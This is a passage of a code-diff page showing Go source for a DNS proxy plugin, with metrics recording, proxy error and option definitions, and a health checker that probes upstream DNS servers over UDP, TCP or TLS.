ret.Id = originId
p.transport.Yield(pc)
rc, ok := dns.RcodeToString[ret.Rcode]
if !ok {
rc = strconv.Itoa(ret.Rcode)
}
RequestCount.WithLabelValues(p.addr).Add(1)
RcodeCount.WithLabelValues(rc, p.addr).Add(1)
RequestDuration.WithLabelValues(p.addr, rc).Observe(time.Since(start).Seconds())
return ret, nil
}
const cumulativeAvgWeight = 4

View File

@@ -0,0 +1,24 @@
package proxy
import "errors"
var (
// ErrNoHealthy means no healthy proxies left.
ErrNoHealthy = errors.New("no healthy proxies")
// ErrNoForward means no forwarder defined.
ErrNoForward = errors.New("no forwarder defined")
// ErrCachedClosed means cached connection was closed by peer.
ErrCachedClosed = errors.New("cached connection was closed by peer")
)
// Options holds various Options that can be set.
type Options struct {
// ForceTCP use TCP protocol for upstream DNS request. Has precedence over PreferUDP flag
ForceTCP bool
// PreferUDP use UDP protocol for upstream DNS request.
PreferUDP bool
// HCRecursionDesired sets recursion desired flag for Proxy healthcheck requests
HCRecursionDesired bool
// HCDomain sets domain for Proxy healthcheck requests
HCDomain string
}

View File

@@ -0,0 +1,130 @@
package proxy
import (
"crypto/tls"
"ohmydns2/plugin/pkg/log"
"ohmydns2/plugin/pkg/transport"
"sync/atomic"
"time"
"github.com/miekg/dns"
)
// HealthChecker 检查上游是否健康
type HealthChecker interface {
Check(*Proxy) error
SetTLSConfig(*tls.Config)
GetTLSConfig() *tls.Config
SetRecursionDesired(bool)
GetRecursionDesired() bool
SetDomain(domain string)
GetDomain() string
SetTCPTransport()
GetReadTimeout() time.Duration
SetReadTimeout(time.Duration)
GetWriteTimeout() time.Duration
SetWriteTimeout(time.Duration)
}
// dnsHc is a health checker for a DNS endpoint (DNS, and DoT).
type dnsHc struct {
c *dns.Client
recursionDesired bool
domain string
}
// NewHealthChecker returns a new HealthChecker based on transport.
func NewHealthChecker(trans string, recursionDesired bool, domain string) HealthChecker {
switch trans {
case transport.DNS, transport.TLS:
c := new(dns.Client)
c.Net = "udp"
c.ReadTimeout = 1 * time.Second
c.WriteTimeout = 1 * time.Second
return &dnsHc{
c: c,
recursionDesired: recursionDesired,
domain: domain,
}
}
log.Warningf("No healthchecker for transport %q", trans)
return nil
}
func (h *dnsHc) SetTLSConfig(cfg *tls.Config) {
h.c.Net = "tcp-tls"
h.c.TLSConfig = cfg
}
func (h *dnsHc) GetTLSConfig() *tls.Config {
return h.c.TLSConfig
}
func (h *dnsHc) SetRecursionDesired(recursionDesired bool) {
h.recursionDesired = recursionDesired
}
func (h *dnsHc) GetRecursionDesired() bool {
return h.recursionDesired
}
func (h *dnsHc) SetDomain(domain string) {
h.domain = domain
}
func (h *dnsHc) GetDomain() string {
return h.domain
}
func (h *dnsHc) SetTCPTransport() {
h.c.Net = "tcp"
}
func (h *dnsHc) GetReadTimeout() time.Duration {
return h.c.ReadTimeout
}
func (h *dnsHc) SetReadTimeout(t time.Duration) {
h.c.ReadTimeout = t
}
func (h *dnsHc) GetWriteTimeout() time.Duration {
return h.c.WriteTimeout
}
func (h *dnsHc) SetWriteTimeout(t time.Duration) {
h.c.WriteTimeout = t
}
// For HC, we send to . IN NS +[no]rec message to the upstream. Dial timeouts and empty
// replies are considered fails, basically anything else constitutes a healthy upstream.
// Check is used as the up.Func in the up.Probe.
func (h *dnsHc) Check(p *Proxy) error {
err := h.send(p.addr)
if err != nil {
HealthcheckFailureCount.WithLabelValues(p.addr).Add(1)
p.incrementFails()
return err
}
atomic.StoreUint32(&p.fails, 0)
return nil
}
func (h *dnsHc) send(addr string) error {
ping := new(dns.Msg)
ping.SetQuestion(h.domain, dns.TypeNS)
ping.MsgHdr.RecursionDesired = h.recursionDesired
m, _, err := h.c.Exchange(ping, addr)
// If we got a header, we're alright, basically only care about I/O errors 'n stuff.
if err != nil && m != nil {
// Silly check, something sane came back.
if m.Response || m.Opcode == dns.OpcodeQuery {
err = nil
}
}
return err
}

Some files were not shown because too many files have changed in this diff Show More